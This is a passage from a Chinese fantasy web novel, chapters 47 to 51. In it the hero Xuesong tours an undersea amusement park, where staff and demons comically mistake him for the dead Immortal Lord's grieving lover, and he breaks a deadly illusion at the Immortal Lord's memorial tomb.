那些幽冥花之所以能够在这儿长出来,不过是因为当初有魔族恰好带了幽冥花的种子,想要在这里种植,在附近好一顿闹腾,搞得腥风血雨的,大家都不得安宁,没有办法,去请仙尊帮忙。
仙尊应允而来,收拾了那个魔族,至于那颗种子,一开始是下落不明的,后来,有人找到了那颗种子,发现那种子已经生根发芽,但附近并无尸体。”
员工几乎听得入神,好奇问:“那究竟是怎么长的?”
“那颗种子之所以可以发芽,是因为得到了仙尊留下来的剑气庇佑,隔绝了周遭的环境,很不可思议吧?我们一开始也不相信,”组织者一脸回忆道,“就用仙尊遗留下来的剑气,培育了那颗种子,发现那颗种子居然真的开始生根开花,我们才意识到这是真的。”
员工若有所思:“这么说,那个洞穴就是当初仙尊和携带了种子的魔族交战的地方?”
“对,”组织者点了点头,“正因如此,那里遗留了更多的剑气,我们好好保存了,把已经培育好的种子和花都移了过去,事情和我们料想的一样,幽冥花在那里,一朵一朵盛开。”
员工才发觉好像有什么不对,疑惑道:“可是从前并没出现过幽冥花向某个客人靠近的情况,就连我们去也没什么异常,今天这是怎么了?难道是因为那个客人像仙尊?可这里这么多像仙尊的人,幽冥花也并没有靠近啊?”
组织者点了点头:“从前确实没有出现过,至少我来到这里之后,是从来没有看见过这样的景象的。
至于原因,应该不是长得像仙尊的缘故,因为,这里用伪装术而长得像仙尊的人多了,可是并没有一个人能引起这样的波动,由此可见,和外貌没有关系。”
他沉吟了一番,若有所思,缓缓道:“我还记得,当初那个把花带到这里想要种下去的魔族,临死前说,他想要把这花献给他的爱人,想必他是专门在那颗种子里种下了求爱的咒语,而那些花受仙尊的气息庇佑,应该算是仙尊种出来的,那即使会有所动向,也应该是仙尊的心之所向——”
员工倒吸一口凉气,大惊失色,感觉自己被一个从天而降的大瓜砸懵了,双眼发直,几乎有些站不稳,喃喃问道:“您的意思是,那位被幽冥花所缠绕追逐的,拿了免费双人票过来体验的客人,是仙尊的爱人?!”
他说完这话,几乎担心有天雷从空中落下,猛然间抬了一下头,发现天空还是洁白,松了一口气,但还是既兴奋又疑惑又紧张,压低了声音,怕被人听见就打死似的,细若蚊喃道:“仙尊当初清清白白一个人,简直孤身到死,从来没有谁听说过他的什么绯闻,如今他已经死了,到冒出来一个爱人?这太不可思议了!”
员工小心翼翼问:“会不会是我们误会了?”
组织者缓缓摇了摇头,一脸肯定,斩钉截铁说:“不会有错的,幽冥花的来历,幽冥花的长成,幽冥花所得的庇佑,我都清清楚楚,那个客人除了是仙尊的爱人,没有别的可能!因为如果是别人,经过那里根本不会有这样的情况。你不是也知道吗?从前可没有别人,做得到这种事。”
员工若有所思,点了点头:“这倒也是,看他的年纪,他不可能知道幽冥花的来历,从前也没有人弄出过这样的情况,他要是故意的,我都要佩服他了。”
“那我们是不是应该送他点什么?就让他这样空手来空手走吗?他毕竟是仙尊的爱人,也许来这里是有什么事?”另外一个站在旁边的员工竖起耳朵,早把全程都听见了,忍不住在这个时候偷偷凑过来问。
组织者看了他一眼,沉吟了一会儿:“你说的也有道理,那么多的幽冥花,毕竟是拜仙尊所赐,仙尊的爱人来了,我们要是无所表示,岂不是太吝啬了?
我隐约记得,安宁广场那边,我们是不是做了一个仙尊的衣冠冢?送他一张安宁广场所有娱乐项目免费一日游的门票好了!他不一定知道那里有仙尊的衣冠冢,但拿了门票也许会去。”
雪松从停下的双人小舟走了出来。
第48章
长青跟在雪松后面, 从虽然已经停下,但仍然在随着水流缓缓摇晃的双人小舟上,走了下来。
雪松扶了他一把, 他站在了雪松旁边。
工作人员带着安宁广场免费一日游门票, 向雪松走了过去,一边把门票递给他, 一边面带微笑对他说:“恭喜您, 作为本漂流项目第一个获得幽冥花追随的游客,我们决定向您赠送安宁广场免费一日游门票, 请收下。”
雪松看了看门票,门票上写着可免费附带一人, 他若有所思, 点了点头, 把门票收下:“谢谢!”
“请您有空务必去安宁广场看看, ”工作人员点了点头微笑道,“那么我告辞了。”
他说完转身离开, 迫不及待回去复命。
暗中观察雪松的魔族们面面相觑, 觉得这是一个好机会,趁着漂流峡谷项目,又是水声,又是游客的欢呼声,又是工作人员走来走去的脚步声,环境十分嘈杂, 掏出了早就准备好的小鼓,砰砰砰敲了起来。
雪松虽然听见了那鼓声,觉得有点奇怪,还似乎有些耳熟, 但左右看了看并没看见谁在敲鼓,迟疑了一下。
长青问他:“你在看什么?”
雪松回答:“好像有人敲鼓。”
长青摆了摆手,不以为意,一边往外走一边说:“也许是附近的敲鼓活动,这里的活动可多了,不是吗?”
雪松点了点头:“这倒也是。”
暗中的魔族们见小鼓没有用处,还差点被发现,连忙停止敲击收了起来,躲了一阵子,没有看见雪松和长青跑个回马枪,松了一口气,立刻到安全的地方去,联系长老了。
“长老长老我们用了小鼓,但是小鼓一点用处都没有!”魔族皱着眉头,一脸焦急惊慌,对长老说。
“稍安勿躁,”长老想了想说,“既然玲珑小鼓没有用处,想必那个人偶身上的魔尊的印记已经被仙尊洗除了,这也难怪,仙尊本来就喜欢多管闲事,又遇上一个从魔尊手里得来的和自己长得一模一样的人偶,怎么可能不仔细检查?稍微一查查出印记来,会清理也正常。”
魔族大吃一惊:“那个人偶居然对仙尊如此重要吗?仙尊竟然肯亲自洗刷他身上魔尊留下的印记?而不对他有任何迁怒或厌恶?他们感情之深到如此地步?!”
长老嗤笑一声:“也未必有多重要,说不定只是想在这方面压魔尊一头罢了。仙尊和魔尊针锋相对也不是一天两天的事。”
魔族们将信将疑点了点头,又把今天的事说了:“说来奇怪,那个人偶去漂流的时候,途经一个洞穴,浑身上下是沾满了幽冥花才出来的,幽冥花不是只有我们那儿才长吗?”
长老脸色一变,若有所思喃喃道:“竟然有幽冥花追随他?!这可不是小事。当初魔尊最爱的就是幽冥花——”
魔族们挠了挠头:“这和魔尊有什么关系吗?难道是魔尊为了那个人偶,才在外面种植了幽冥花,花种却被东海的鲛人窃去,种在了那漂流峡谷,所以那些幽冥花一遇到人偶,就迫不及待飞过去了?”
“恐怕是。”长老缓缓点了点头,一脸凝重道:“起初还以为他不过是个被魔尊随便玩玩的人偶,现在看来,只怕魔尊是被横刀夺爱的那个!”
魔族们倒吸一口凉气,大惊失色:“仙尊竟然在魔尊与人偶情浓意浓之时强抢吗?他还做过这种事?他竟然做得出来?那个人偶有多大的魅力?!他难道不怕这事被人知道之后,他就得被千夫所指吗?!”
长老嗤笑一声:“他有什么可怕的?他那么强,地位又那么高,已经是仙尊了,别人就算对他有意见也不敢明说,更何况,他们不是最爱道貌岸然的伪君子吗?说不定事情爆出来之后,反而有一大批的人觉得他真性情,于是迫不及待追随他呢。”
“那我们要不要把这事捅出去呢?”魔族们考虑着问。
长老想了想说:“这种事要找一个合适的时机,否则,要是没有足够的证据,我们只会被认为是泼脏水罢了。”
“我们明白了,一定暂时按兵不动,等到合适的时机再出手。”魔族们连连点头。
次日,雪松拿着票和长青一起去了安宁广场,安宁广场是可以随便逛的,只不过游玩项目需要门票而已。
长青遇到了一个小游戏,停下来打算玩一玩再走,雪松想先散散步,就和他分开了,红色鸟扑扇了一下翅膀,停在了他的肩膀上。
雪松绕着广场转了一圈,忽然发现不远处,有一条安静的通道,入口没什么人的样子,想一想自己还没进去过,就顺着那条路往里走,直到看见里面一堆的墓碑,停下了脚步。
他觉得他应该转身离开了,但不知为什么,他觉得那一堆的墓碑中,有一个和他有隐隐约约的联系,他犹豫了一下,还是走了过去。
他看见了自己的衣冠冢,并且站在了那块墓碑面前,他能感觉到,这底下有一颗珍珠,是他曾经来这东海海底的时候,在沙子里捡到的,附近一个人也没有,他看那颗珍珠不错,就揣进兜里了。
后来离开的时候发现没有了,也不知道掉哪了,反正只是一颗珍珠,没有回去找,也就算了。
原来珍珠被放在这里了,估计是他和魔族战斗的时候,那颗珍珠不小心掉出去了,被人捡到了,后来做衣冠冢,干脆给他埋了。
想想还有点好笑。雪松面带回忆之色,目光温和,眉眼弯弯伸出手去,摸了摸近在咫尺的墓碑。
墓碑很干净,应该是经常有人打扫,用海底特有的石头做的,触手光滑温润,能感觉到是不错的材料。
他忽然察觉这墓碑有微微的晃动,像是底下有什么东西,眉头一皱,用了一个土滚术,把底下的人逼了出来,定睛一看,还是个熟人——
之前他在旅店房间休息的时候站在他床边的那个。
“居然是你?!”对面比他还要惊讶,瞪大了眼睛,咬牙切齿道。
“怎么不能是我?”雪松有些疑惑。
“平时这里根本没有人来的!”对面皱着眉头,恨不得呸一声似的,回答道。
“所以你就在这儿,”雪松把他上下打量一番,又看了看他跳出来时制造的那个不远处的洞,像拿着一杯咖啡在下午茶时间看着菜地里跳出来的兔子一样,“偷东西?”
“什么叫偷东西?说话真难听!”对面大声道:“我祖上曾经和仙尊学过一招半式,四舍五入就是仙尊的徒弟,那仙尊的东西当然应该由我来保管,这才名正言顺,不过是物归原主!”
“物归原主?”雪松挑了挑眉:“负责看管和组织安宁广场的鲛人们同意吗?这东西本来就是他们放进去的吧?
就算这东西曾经是你的祖先上交的,现在也不属于你,更何况,你祖先都上交了,就不算你家的了,跟你又有什么关系?”
他顿了顿,压根没想起来自己什么时候教过什么徒弟,神色有些诡异问:“你祖先什么时候和仙尊学过一招半式了?根本从没听说过!假的吧?”
“没听说过,是你孤陋寡闻!我有证据!”对面像是突然被刺激到,面红耳赤,跳了起来,抓出一缕气息说:“这是当年我祖先和仙尊接触的时候,留下的仙尊的气息!这足以证明!”
雪松随手一招,那缕气息就乖乖向他飞了过来,他拿着那气息把手一握,那气息就瞬间烟消云散了。
对面愣了一下,猛然间瞪大了眼睛,目眦欲裂喊道:“这不可能!你怎么可以控制仙尊的气息?你是仙尊的道侣?怪不得你会仙尊的招式!一定是仙尊亲自教的!凭什么?”
对面发疯似的掏出一个圆球,猛然往地上一砸喊道:“婆娑幻境!”
一阵白烟升腾而起,把砸圆球的那个人和雪松一口都吞了进去。
在其他地方察觉到这里似乎有异常剧烈波动的,维护安宁广场秩序的工作人员刚刚赶到附近,只来得及看见白烟逐渐弥漫消失,不由得大惊失色。
“我刚才好像听见那个捣乱的人在喊什么婆娑幻境,你们听见了吗?”
“听见了,婆娑幻境是一种非常歹毒的,和魔族有关的幻境,会让中幻境者在幻境中遇到自己最爱的人的形象,被引诱之后,自愿赴死,当年被魔族拿出来害了好大一批人,还是仙尊出面才平定下来,如果真是婆娑幻境,那可糟糕了。”
“仙尊没留下什么解决的办法吗?要是被困进去的,真是仙尊的道侣,因为那个不知哪冒出来的人,死在我们这儿,那事儿可大!”
“仙尊用的是一力破万法,我们用不了,但他也考虑到我们不能像他那样解决问题,”一个白胡子老头若有所思说,“给我们留了一个,更委婉安全的办法——”
第49章
“什么办法?”其他人连忙问。
那个老人捋了捋胡子说:“我们可以用观测术在幻境外面旁观环境的进展, 在幻境被害者情绪剧烈波动的时候,通过特殊法术,对他发起提示, 让他从幻境中醒悟过来, 从而由内向外破解这个幻境,那就安全了。”
“听起来很麻烦。”人们面面相觑, 都皱起眉头, 觉得棘手。
“暂时也没有别的办法了吧?”老人把众人看了看问。
“是啊,”众人不由自主叹气, “看来只好试试这个了。”
有总比没有好。
老人见没有人有异议了,点了点头, 开始使用观测术, 观测术使用之后, 众人眼前出现了一块巨大的, 镜子一般的水幕。
水幕荡起波纹,模糊了一阵, 逐渐清晰, 显出形状来,里面是幻境里的内容,众人定睛一看,都吃了一惊——
仙尊正柔情蜜意望着雪松,手里拿着剑却背在身后,另一只手向他递了过去, 面色十分温和,甚至微微笑着,用一种从来没有人听过的轻柔的语气问他:“要和我一起走吗?”
老人觉得这个时候就是应该发出提醒的时刻了,连忙大声对里面的雪松喊道:“千万不要信他!他是假的!杀了他!你才能出来!”
话音未落, 水面一阵剧烈波动,众人都以为,这一次是失败了,但是等他们再看,雪松已经一剑扎穿了仙尊。
仙尊满脸不可置信望着他,一步一步往后退,一只手捂着伤口,另一只手虽然拿着剑,但手有些抖,脸色苍白,是从未有过的虚弱和惊讶,鲜红的血一点一滴流出来,浸透了雪白的衣服。
他拿着剑,却似乎无法将剑刃指向雪松,而意识到这一点的时候,连他自己也感到惊讶,他低下头去,看着自己拿剑的那只手,好像从来不认识,倒吸了一口凉气,终于晕了过去。
幻境猛然间破碎了,制造幻境的那个人砰的一声落在地面上,像一颗被丢弃出来的碎玻璃球。
他跪在地上,皱着眉头,往外吐了一口血,皮肤一寸一寸裂开,双眼发直看着近在咫尺的地面,像是完全无法接受现实,喃喃道:“原来仙尊竟有那么爱他?!”
话音未落,他两眼一闭,躺在地上死去了。
其他人目瞪口呆,还没有从刚才那极其震撼的一幕中回过神来,仙尊的坟墓前,一团雪白的烟雾,朦朦胧胧散开,雪松出现在众人眼前,老人第一个反应过来,往前走去,一边打量他一边问:“你没事吧?”
雪松摆了摆手:“没事。”
“那你现在要回住处休息吗?我们可以送您?”老人的语气恭敬了不少,试探着问。
雪松没察觉出来对面的语气变化,仍然说:“不用,我可以自己回去。”
老人点了点头,也不强求,只是说:“那你慢走。”
雪松点了点头走了出去,其他人都屏气凝神,直到不太看得见他的影子了,才猛然间深吸了一口气,感觉自己好像从高压的环境里突然又活了过来。
“你们刚才感觉到了吗?好可怕的威压,好强大的气势,好了不起的恐怖感,好熟悉的冷脸,从前仙尊也是这样!”
“可不是吗?本来我都快忘了仙尊当初来的时候是怎么样的了,刚才他一出现我突然就全都想起来了,一点儿不差的!”
“他居然一下子就听见了,他是早有准备还是在幻境里察觉了不对?不管怎么样,他的反应不像愚钝无知,莫不是提前知道什么?
可是进入幻境之后,外面的记忆应该会被抹除或者屏蔽吧?他不可能第一时间知道有什么不对吧?不然幻境还有什么用呢?”
众人讨论一番,一起看向了仿佛知道最多的老人,用一种眼巴巴的期待的目光望着他,希望他说点什么。
他收到众人的目光,挺直了后背说:“我可以告诉你们,但是你们不能随便告诉别人。”
众人连忙保证。
老人点了点头才说:“还记得那个罪魁祸首死之前说的那句话吗?婆娑幻境不同于其他的幻境,厉害之处在于,幻境里模拟出来的人,除了一定要杀被害者,其他的,和真正那个是一模一样的,在真正的那个人不存在的时候,幻境里的那个,几乎可以说是真的!”
众人意识到他在说什么,倒吸了一口凉气:“如果真的仙尊还在世上,面临幻境中那种情况,居然也不会对他动手吗?怪不得罪魁祸首要说那么一句话!
如果幻境模拟出来的不是仙尊而是别的什么人,或许他的诡计早就成功了,可惜他算到仙尊头上,仙尊没叫他得逞!”
老人点了点头,表示赞同:“不止如此,那位仙尊道侣虽然没有听见罪魁祸首临死前说的那句话,但是我刚才试探了一下他的态度,用一种面对仙尊的敬语跟他说话,他一点反应都没有,完全就是适应了!
从前一定有人那样对他,而且不止一次,所以他现在才能是这个反应!不会有错的!他和仙尊的感情好到一种我们无法想象的地步!以后大家见了他,就当做他是仙尊一样尊敬吧!”
众人连连点头:“我们明白了,我们一定照做,绝对不会亏待他,更不会叫他在这儿有一丁点的不舒服!
不提仙尊举世无双的实力值得敬佩,只看仙尊当初在我们这儿,为我们做的那些事,我们如今是无论如何不能不尊重他的道侣的!”
“是该这样,”老人对他们的回答很满意,点了点头,捋着胡子道,“我们可不能做欺负未亡人的事!那多丢脸呢!”
其他人越发重重点起头来,觉得老人说的很对。
“既然事情也已经结束了,我们就把残局收拾了吧,”老人挥挥手指挥道,“该做什么做什么,快点!”
人们分开行动起来,很快就把尸体处理掉了,地面也打扫干净了,墓碑也擦了,只是检查着忽然皱起眉头:“埋在里面的珍珠似乎不见了?”
“在尸体里面找了没有?是不是被尸体拿在手里或者揣在衣服里了?也许是那个人想要过来偷珍珠,被发现了,才恼羞成怒的。”老人皱着眉头问。
人们检查之后一无所获,摇了摇头:“不在尸体那里。”
老人皱着眉头走来走去:“不在这里,不在尸体那里,那只有一个可能了,也许那颗珍珠是跟着仙尊的伴侣,到外面去了,我们先不要惊动其他人,去找他看一看,听见了吗?”
众人连连点头,立刻开始寻找已经走出去的雪松。
雪松已经走到了空旷宽敞又比较人多的地方,道路两旁全是摊贩,距离他不远的位置,一个摊主正在努力控制小摊上的一个布口袋,两手青筋暴起,面红耳赤,看起来十分用力,但那个口袋还是在他手上挣扎着,好像下一刻就会飞走一样。
雪松走过去问要不要帮忙,店主连连点头,眼含泪花,如同遇到了恩人,雪松伸出手去。
谁知,雪松还没碰到口袋,店主忽然失手,只听呼的一声,那个口袋一下子打开了,里面吹出一阵狂风,带着滚滚黄沙,把周围的海水都搅得翻天覆地似的,一阵浑浊,整个广场的人都抬起手来,挡住了眼睛。
等到那一阵子狂风沙过去了,众人才把手放下来,店主也不例外,毕竟是他失手,他比谁都先知道那个口袋要失控了,所以他的反应是最快的,第一个就把手抬起来,挡住了眼睛,因此,他的眼睛看起来是最好的,没受太大影响。
和他完全相反的是雪松,距离最近,受到影响最大,因为事发突然没来得及反应,所以眼睛红了一圈,好像刚刚哭过似的,眼泪汪汪的,抬眼看向店主的时候,店主都不敢直视他,又有点心虚,又有点愧疚,苍蝇搓手似的,犹豫说:“不好意思啊,我不是故意的,我真没控制住。”
“没关系,”雪松抬手擦了一把因为刚才风沙过大而溢出来的眼泪,面无表情回答道,“既然口袋飞走了,我想你也不需要帮忙了,我先走了?”
店主连连点头,几乎有些迫不及待,一叠声说:“谢谢!再见!”
雪松笑了笑,转头走了。
广场的工作人员虽然距离远,但同样猝不及防,因为刚才那一阵风沙揉了揉眼睛,等把手放下来的时候,已经不知道雪松在哪了,连忙找了起来。
雪松已经找到了长青和红色鸟,长青在的位置,和风沙吹的方向完全相反,所以没有受到影响,看见雪松眼睛红了,还有点惊讶。
他们一边往外走,长青一边问:“你眼睛怎么了?”
“刚才刮了一阵风沙。”雪松笑了一下回答。
长青将信将疑点了点头。
不远处好不容易抽空来广场看雪松有没有去探望仙尊墓碑的漂流峡谷组织者和工作人员看见了他们。
第50章
漂流峡谷的组织者在看见雪松的时候就顿住了脚步, 并抬起手来拦住了身边的其他人,让他们迅速安静下来,避免吸引注意。
湿润的眼睛, 通红的眼角, 苍白的脸色,疲惫的神情, 仿佛被风沙刮过的皮肤, 一切的一切,都透露着同样的结果——
雪松绝对去广场里看过仙尊的坟墓了, 而且刚刚大哭过回来,说不定还站在坟墓前倾诉了过去的回忆, 否则不会是这个样子!
组织者不敢想象, 雪松当时站在坟墓前究竟有多么的悲痛, 又需要多么强大的克制力才能忍耐下来, 恢复现在这样的平静。
但是——
既然雪松选择了伪装成平静无波的样子走出来,仿佛仙尊的事真和他一点关系都没有, 想必心里已经有所打算, 不希望情绪影响到别人,也不希望别人影响到自己。
更让组织者感到钦佩的是,他在来的路上已经听说,有人居然胆敢偷盗仙尊的坟墓,还偏偏选在雪松去的时间点,可以说是极尽挑衅了, 根本让人没法忍耐,显然是冲着让雪松情绪剧烈波动后走火入魔来的。
毕竟,雪松作为仙尊的道侣,要是真的走火入魔, 那就成了魔族的一份子了,对于仙尊是多大的一桩丑闻,对于魔族又是多么值得庆贺的事,可想而知!
而亲自让罪魁祸首无力回天的雪松,居然能在最后关头克制住自己,不仅不多看一眼,多说一句,甚至一丁点入魔的迹象都没有,完全让对方的苦心孤诣变成了无用功,成功导致对方愤而自裁。
如此一来,既为仙尊报了被羞辱之仇,也为自己出了一口恶气,还守住了最后的底线,简直是一石三鸟!也许,在他看见那个人的时候,他早就计划好了!
不愧是仙尊的道侣!和仙尊一样,算无遗策!把控人心的本事真是高超啊!
组织者远远看着不远处,面色仍然平静而嘴角噙着一缕笑意的雪松,他不得不想起,幼时听说的,一种浑身漆黑的有毒蜘蛛。
据说,那种蜘蛛会在丧偶之后长出白色条纹,用以迷惑猎物,身体里的毒素会在丧偶的刺激和时间的沉淀下,二度加剧,往往只需要一口,就能将猎物送往西天,因此,见到这种蜘蛛绝对不能以任何方式对其进行丧偶相关的挑衅,否则,必死无疑。
不过,值得一提的是,在与丧偶无关的情况下,这种蜘蛛的性情温和,堪称剧毒蜘蛛中的变异。
以及……
组织者眯了眯眼睛,将目光落在雪松的腹部。不知道是不是错觉,他从那里,察觉到了一种混合着雪松和仙尊气息的生命力。
如果他没有记错,广场里的仙尊的墓碑底下,埋着的东西是一颗曾经沾染过仙尊气息的珍珠。
但不为人知的是,那不是一颗普通的珍珠,而是一颗集天地灵气孕育的,特殊的,可使修士逆天诞育出已死之人子嗣的,亡灵珠。
只是,这种东西表面上看起来,和品质上好的珍珠一模一样,寻常人分辨不出来,分辨得出来的人,大多对此毫无兴趣,也就使得它仿佛不上不下,是个没什么用的东西。
可是实际上,这种东西,对于思念亡故伴侣之人,可算得上是,雪中送炭了。
难道雪松早就知道坟墓里的东西有这个效果,所以才特意到漂流峡谷那去见了他们,吸引了幽冥花,拿到了门票,算准了时间来到这里和那个盗墓贼撞上,趁着一片混乱之时,众人不注意,把那颗亡灵珠带走了,就为了诞下已死仙尊的子嗣?
真是可歌可泣,令人感动的爱情啊!不愧是仙尊的伴侣!和仙尊一样令人敬佩!等等!不对!如果真是这样——
组织者总算意识到,这种事情究竟会有什么影响,猛然一惊,不由得喃喃道:“如果仙尊伴侣真把那颗亡灵珠带走,想要诞下仙尊的子嗣,这可是逆天之举!天道不容!非得一命换一命不可!他一定会死的!
仙尊不会想要看见这样的情况的!我们不能允许他做这种事!不然,一想到欠仙尊这样多,死也不能瞑目啊!”
其他工作人员都是一愣:“什么?”
雪松在不远处看见了他们,向他们走了过来,和组织者打了个招呼:“你们怎么来了?”
组织者又是一惊。什么叫你们怎么也来了?我们不能来吗?这里又不是什么封闭地段!有没有管制!为什么这么问?难道他已经知道我们为什么来了?
他问的其实是,我知道你们为什么来,事已至此,为什么还不走吧?
组织者额头渐渐冒出细汗回答道:“随便逛逛。”过会儿就走。
雪松点了点头又问:“那你们怎么不进去?我看你们在这站了好一会儿了?”
组织者心脏怦怦乱跳。怎么不进去?这不是明知故问吗?他们来是想看他,既然已经在门口看见了他,又何必进去?他是说事情已经结束,他们不用进去了吧?
他早就看见他们了?其实是想说之前在漂流峡谷的时候也看见他们讨论了吧?好厉害,当时根本没回头,距离那么远,还有水花声,若无其事的,好像什么都不知道,但是,居然把他们看得清清楚楚吗?
组织者倒吸一口凉气:“没事,一会儿就进去,在这休息休息。”不进去了,一会儿就走,在这休息休息。
雪松点了点头,组织者趁机问:“你眼睛怎么红了?”你是不是哭过了?
雪松垂眼笑了一下:“风沙太大。”
组织者眯了眯眼睛。风沙?海里哪来的风沙?!编故事也不挑个好借口!果然是假话!
连敷衍都不肯吗?还是说,故意挑这样明显的借口来让人知难而退呢?其实就是哭过了吧?!
“那皮肤怎么好像一下子也变差了一点呢?”组织者开玩笑似的说:“要是不知道,还以为你哭起来擦了好几回眼泪呢!”
雪松眨了眨眼睛,回答道:“也是风沙。”这是实话。
组织者笑了一声:“那你快回去休息吧,可别再被吹了。”居然两次都用一样的借口!什么人会听不出来是假话啊?!
如果只听第一个问题的回答,还会有所疑虑,怀疑答案是假的,那现在不用怀疑了,肯定是哭过!不会有第二种可能了!
雪松点了点头,和长青还有红色鸟,一起离开了广场附近,向住处走去。
组织者站在他们身后,看着他们的背影渐渐消失在路口,眯着眼睛,一脸凝重,对身边一起过来的工作人员,感慨中带着敬畏说:“仙尊的道侣对仙尊真是用情至深啊!”
工作人员不明觉厉,点了点头。
雪松和长青回到了住处之后,就各自休息去了,红色鸟跟在长青身后,进了他的房间,他把门关上,转过头来,那只鸟已经找了个位置停下了,正低着头处理自己的羽毛,看起来很是适应。
“你很悠闲啊,”长青坐下来,给自己倒了一杯水,看着从桌上跳到窗边的鸟说,“好玩吗?”
那只鸟点了点头:“好玩!”
顿了顿,那只鸟跳了一下问:“你是在问什么?”
“今天的广场,还有广场上的游戏,”长青抿了水,若有所思说,“不知道为什么,那个十箭中三箭布口袋的小游戏给的小画本奖励里的故事,有点眼熟?”
“那你翻出来再看看呢?”窗上的红色鸟跳回桌子上说。
长青摸了摸口袋,掏出了那个画本子,摊开在桌上,红色鸟跳了过去,低着头看着本子上的内容,一句一句念了起来。
“很久以前,山上有个神仙在隐居,算到天下将有浩劫,因此出世,加入了第一大宗门,成为了挂名长老,在海边执行任务的时候,爱上了一个年轻人,想要把珍珠送给他作为礼物,但是,那个年轻人被残忍的魔族杀害了,珍珠遗落在地,仙君杀了那个魔族,为年轻人报仇,那个年轻人却再也不能睁开眼睛,仙君不得不远离此地,只在暗中每年祭奠,伤心垂泪,夜夜难眠。”
红色鸟念完了之后,缓缓抬起头来,望着窗口,眨巴眨巴眼睛,一脸感慨,好像要说什么的样子。
长青注视着这只鸟,等待着,却发现这只鸟突然掉下眼泪来,一边掉眼泪一边用翅膀抹眼睛,声音有些哽咽说:“太感人了!太凄惨了!”
长青的头上冒出一个问号:“这有什么好感人凄惨的?”
他摇了摇头:“你不觉得眼熟吗?”
红色鸟擦了擦眼睛,停下眼泪若有所思:“这么一说,故事里的仙君像是仙尊,至于那个年轻人,像是雪松啊!”
长青点了点头,深以为然:“要论感人凄惨,明明是仙尊和雪松才比较惨吧?”
红色鸟点点头:“他们是很惨没错。”
“所以,”长青把手一合,若有所思,喃喃道,“他们来过?”《 》
50-60
第51章
“应该是吧?”红色鸟不太了解这些, 眨了眨眼睛,有些迷茫似的,歪着头回答道。
“对了, ”长青点了点头又问, “那个书上,说没说那颗珠子, 有什么用途?”万一和之前的盒子一样, 都是当地特色呢?
红色鸟挑了挑眉,明白他的意思, 低头看了起来,在书里找到了注解, 猛然一惊, 喃喃自语一般, 双目发直, 念了出来:“海沙之下有亡灵珠,以命换命, 可得一子。”
红色鸟愣了半天, 和长青同时倒吸了一口凉气,一人一鸟对视一眼,都感到分外震惊,好半天没有说话。
长青不由自主弯起指头敲击桌面,思考着喃喃道:“也许这是胡编乱造的,万一, 没有那东西呢?”
红色鸟瘫坐在桌子上望着他,一脸我看疯的是你的表情,问他:“有那种可能吗?”
长青耸了耸肩:“总要确认了才知道。”
红色鸟无可奈何,点了点头, 觉得他说的对,但同时也感觉自己已经预料到了结果,沉默了一阵,不再说什么。
雪松在房间里休息了一阵,醒了过来,看天色尚早,出门散步去了,因为只是散步,所以并没有找长青同行,当然也没通知那只鸟。
反正他通不通知他们,散步也不需要很久,他们要是有急事找他,也不可能找不到,毕竟那只鸟还和他有联系,没什么可担心的。
他离开旅店之后,顺着路走了出去,时间越来越晚,地点越来越偏,人数越来越少,忽然看见不远处有个拐角,顺着那个拐角走了进去,眼前豁然开朗,便看见一片杨柳,正随清风拂动。
他几乎以为是幻觉,但感觉并不像,往前走了两步,发现那里立着一块牌子,仔细一看,牌子上写着:仙尊曾来到此地,欢迎缅怀者共览,请保持冷静。
原来这是一块特意隔绝出来的区域,那就不奇怪了,想着反正是出来玩儿的,见到了不能不进去,雪松往前两步,进入了那片区域。
身边忽然吹起一阵风,他转头看去,原来是白衣仙尊的幻象,出现在身侧,不由得愣了一下,原来从别人的眼里看,他从前是这个样子。
在房间里察觉到雪松独自离开的红色鸟,因为担心雪松出门或许会想不开,和长青一路跟了过来,没敢靠近,只在外面旁观,发现雪松望着仙尊愣住了,不由得皱起眉头。
他果然对仙尊念念不忘,时至今日情感也没有丝毫消退,否则,见了仙尊,早该淡然如水!可惜,他现在还做不到。或许,这要求对他来说,还是太高了些吧?
柳枝旁是一条小河,微风拂过,平静的水面忽然起了波澜,一条巨大的蓝色的鱼从水里跃了起来,张出血盆大口,散发着浓郁的腥臭味,一下子越过了栏杆,要从半空中咬掉雪松的头。
雪松完全可以立刻反应过来,但他很确认这完全是幻象,对他没有一丝一毫的损伤,不想多费什么功夫,也就站在那里没有动。
在别人看来,他是因为仙尊的出现而过于惊愕,以至于失去了分辨眼前的仙尊是否是幻象的能力,而原地呆住了,所以才会连幻象之中的鱼都没有办法躲开。
仙尊神色一凌,一剑斩了过去,只见一道白色剑光从眼前闪过,腥臭味在瞬间消失了,身后响起砰的一声。
雪松转头去看,发现身后躺着一条鱼的尸体,这条鱼已经从活蹦乱跳的状态,变成了两半,是从中间一分为二的,切口看起来十分整齐,光滑极了,令人惊讶的平面。
白衣仙尊向他走了过来,语气温和问:“你没事吧?”
“没事。”雪松摇了摇头,转过身来看向他,神色不由得有些复杂,自己从前当仙尊的时候跟人说话是这种语气吗?
顿了顿,雪松还是对他说:“谢谢。”哪怕这只是一个幻象。但既然这个幻象存在于这里,想必有很多人会慕名前来吧?
这东西可能没有自我意识,但应该有一些基础的自主反应,否则没必要提供互动能力,只需要从进入的人面前经过,演一段之后消失就行。那可比现在这样省力多了。
来都来了,玩玩应该也没什么。
“不用客气,”幻象仙尊对雪松露出一个微不可查的笑容,顿了顿,忽然用一种挣扎中带着回忆的目光注视着他,恍惚道,“我们好像在哪里见过?”
雪松愣了一下,看对方的目光,这话似乎不是基础反应设定,倒像是认真说的,难道这东西真有自我意识不成?幻象中诞生的自我意识?那可真是太有意思了!这可少见。
暗中观察的长青握紧了拳头。
仙尊对雪松的感情居然连一个被生造出来的幻象都有所感知吗?!这个幻象究竟是拿什么作为基础做的?
仙尊从前在这里残留的气息吗?这太离谱了吧?这里的人从前抱着什么样的想法才会把那种东西留下来啊?现在还做成幻象供人展览参观?他们把仙尊当什么?!
而且听见这种话,就算知道对面是假的,雪松再平静,也会有所波动吧?这根本是拿着针往别人伤口上扎!这也太刺激了!
“是,”雪松一时兴起,微笑着对对面的幻象说,“我们从前确实在春日柳旁见过,那时我的年纪比现在还轻一些,不小心崴了脚,你拉了我一把,我才没有掉进水里,我很感谢你。”
长青和鸟倒吸一口凉气。
原来雪松和仙尊是这样认识的吗?他们竟然还有这样的过往?甚至时至今日,雪松还记得这样清楚?他还口齿清晰向仙尊幻象复述?他难道是在期待这个幻象回应他?
他已经无可救药陷进去了!
